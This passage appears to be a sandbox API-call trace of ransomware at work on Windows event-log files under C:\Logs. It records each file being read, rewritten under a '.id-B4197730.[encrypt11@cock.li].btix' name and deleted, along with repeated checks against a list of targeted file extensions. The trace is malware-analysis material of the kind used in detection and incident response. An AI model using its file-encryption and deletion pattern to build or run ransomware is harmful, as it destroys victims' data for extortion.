(lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.645] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.645] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.645] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.645] GetLastError () returned 0x0 [0051.645] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.673] WriteFile (in: hFile=0x364, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.675] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.675] WriteFile (in: hFile=0x364, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x12e, lpOverlapped=0x0) returned 1 [0051.675] SetEndOfFile (hFile=0x364) returned 1 [0051.675] CloseHandle (hObject=0x364) returned 1 [0051.676] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.677] SetEndOfFile (hFile=0x388) returned 1 [0051.678] CloseHandle (hObject=0x388) returned 1 [0051.678] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.678] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0051.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.688] lstrlenW (lpString=".doc") returned 4 [0051.688] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.688] lstrlenW (lpString=".docx") returned 5 [0051.688] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.688] lstrlenW (lpString=".pdf") returned 4 [0051.688] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.688] lstrlenW (lpString=".xls") returned 4 [0051.688] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.688] lstrlenW (lpString=".xlsx") returned 5 [0051.689] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.689] lstrlenW (lpString=".ppt") returned 4 [0051.689] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.689] lstrlenW (lpString=".zip") returned 4 [0051.689] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString=".rar") returned 4 [0051.689] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString=".bz2") returned 4 [0051.689] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString=".7z") returned 3 [0051.689] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.689] lstrlenW (lpString=".dbf") returned 4 [0051.689] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.689] lstrlenW (lpString=".1cd") returned 4 [0051.689] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.689] lstrlenW (lpString=".jpg") returned 4 [0051.689] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.689] lstrlenW (lpString=".doc") returned 4 [0051.689] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString=".docx") returned 5 [0051.689] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.689] lstrlenW (lpString=".pdf") returned 4 [0051.689] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString=".xls") returned 4 [0051.689] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.689] lstrlenW (lpString=".xlsx") returned 5 [0051.689] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.689] lstrlenW (lpString=".ppt") returned 4 [0051.690] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.690] lstrlenW (lpString=".zip") returned 4 [0051.690] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.690] lstrlenW (lpString=".rar") returned 4 [0051.690] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.690] lstrlenW (lpString=".bz2") returned 4 [0051.690] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.690] lstrlenW (lpString=".7z") returned 3 [0051.690] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.690] lstrlenW (lpString=".dbf") returned 4 [0051.690] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.690] lstrlenW (lpString=".1cd") returned 4 [0051.690] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0051.690] lstrlenW (lpString=".jpg") returned 4 [0051.690] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.690] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.690] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0051.690] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.701] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.701] CloseHandle (hObject=0x388) returned 1 [0051.701] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0051.701] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.704] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.704] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.704] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.704] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.706] GetLastError () returned 0x0 [0051.706] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.745] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.746] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.746] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x122, lpOverlapped=0x0) returned 1 [0051.746] SetEndOfFile (hFile=0x2e0) returned 1 [0051.746] CloseHandle (hObject=0x2e0) returned 1 [0051.748] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.748] SetEndOfFile (hFile=0x308) returned 1 [0051.749] CloseHandle (hObject=0x308) returned 1 [0051.749] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.750] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0051.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.750] lstrlenW (lpString=".doc") returned 4 [0051.750] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.750] lstrlenW (lpString=".docx") returned 5 [0051.750] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.750] lstrlenW (lpString=".pdf") returned 4 [0051.750] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.750] lstrlenW (lpString=".xls") returned 4 [0051.750] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.750] lstrlenW (lpString=".xlsx") returned 5 [0051.750] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.750] lstrlenW (lpString=".ppt") returned 4 [0051.750] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.750] lstrlenW (lpString=".zip") returned 4 [0051.750] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.750] lstrlenW (lpString=".rar") returned 4 [0051.750] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.750] lstrlenW (lpString=".bz2") returned 4 [0051.750] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.750] lstrlenW (lpString=".7z") returned 3 [0051.751] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.751] lstrlenW (lpString=".dbf") returned 4 [0051.751] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.751] lstrlenW (lpString=".1cd") returned 4 [0051.751] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.751] lstrlenW (lpString=".jpg") returned 4 [0051.751] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.751] lstrlenW (lpString=".doc") returned 4 [0051.751] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.751] lstrlenW (lpString=".docx") returned 5 [0051.751] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.751] lstrlenW (lpString=".pdf") returned 4 [0051.751] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.751] lstrlenW (lpString=".xls") returned 4 [0051.751] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.751] lstrlenW (lpString=".xlsx") returned 5 [0051.751] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.751] lstrlenW (lpString=".ppt") returned 4 [0051.751] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.751] lstrlenW (lpString=".zip") returned 4 [0051.751] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.751] lstrlenW (lpString=".rar") returned 4 [0051.751] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.751] lstrlenW (lpString=".bz2") returned 4 [0051.752] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.752] lstrlenW (lpString=".7z") returned 3 [0051.752] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.752] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.752] lstrlenW (lpString=".dbf") returned 4 [0051.752] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.752] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.752] lstrlenW (lpString=".1cd") returned 4 [0051.752] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.752] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0051.752] lstrlenW (lpString=".jpg") returned 4 [0051.752] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.752] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.752] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0051.752] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.753] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.753] CloseHandle (hObject=0x308) returned 1 [0051.753] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0051.753] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.753] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.753] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.753] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.753] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.764] GetLastError () returned 0x0 [0051.764] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.843] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.845] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.845] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x12e, lpOverlapped=0x0) returned 1 [0051.846] SetEndOfFile (hFile=0x320) returned 1 [0051.885] CloseHandle (hObject=0x320) returned 1 [0051.886] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.886] SetEndOfFile (hFile=0x308) returned 1 [0051.887] CloseHandle (hObject=0x308) returned 1 [0051.888] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.888] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0051.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.888] lstrlenW (lpString=".doc") returned 4 [0051.888] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.888] lstrlenW (lpString=".docx") returned 5 [0051.889] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.889] lstrlenW (lpString=".pdf") returned 4 [0051.889] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.889] lstrlenW (lpString=".xls") returned 4 [0051.889] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.889] lstrlenW (lpString=".xlsx") returned 5 [0051.889] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.889] lstrlenW (lpString=".ppt") returned 4 [0051.889] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.889] lstrlenW (lpString=".zip") returned 4 [0051.889] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.889] lstrlenW (lpString=".rar") returned 4 [0051.889] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.889] lstrlenW (lpString=".bz2") returned 4 [0051.889] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.889] lstrlenW (lpString=".7z") returned 3 [0051.889] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.889] lstrlenW (lpString=".dbf") returned 4 [0051.889] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.889] lstrlenW (lpString=".1cd") returned 4 [0051.889] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.889] lstrlenW (lpString=".jpg") returned 4 [0051.890] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.890] lstrlenW (lpString=".doc") returned 4 [0051.890] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.890] lstrlenW (lpString=".docx") returned 5 [0051.890] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.890] lstrlenW (lpString=".pdf") returned 4 [0051.890] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.890] lstrlenW (lpString=".xls") returned 4 [0051.890] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.890] lstrlenW (lpString=".xlsx") returned 5 [0051.890] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.890] lstrlenW (lpString=".ppt") returned 4 [0051.890] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.890] lstrlenW (lpString=".zip") returned 4 [0051.890] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.890] lstrlenW (lpString=".rar") returned 4 [0051.890] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.890] lstrlenW (lpString=".bz2") returned 4 [0051.890] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.890] lstrlenW (lpString=".7z") returned 3 [0051.890] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.891] lstrlenW (lpString=".dbf") returned 4 [0051.891] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.891] lstrlenW (lpString=".1cd") returned 4 [0051.891] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0051.891] lstrlenW (lpString=".jpg") returned 4 [0051.891] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.891] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.891] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0051.891] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.891] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.891] CloseHandle (hObject=0x308) returned 1 [0051.892] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0051.892] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.892] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.892] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.892] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.892] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.892] GetLastError () returned 0x0 [0051.893] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.931] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.932] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.932] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x158, 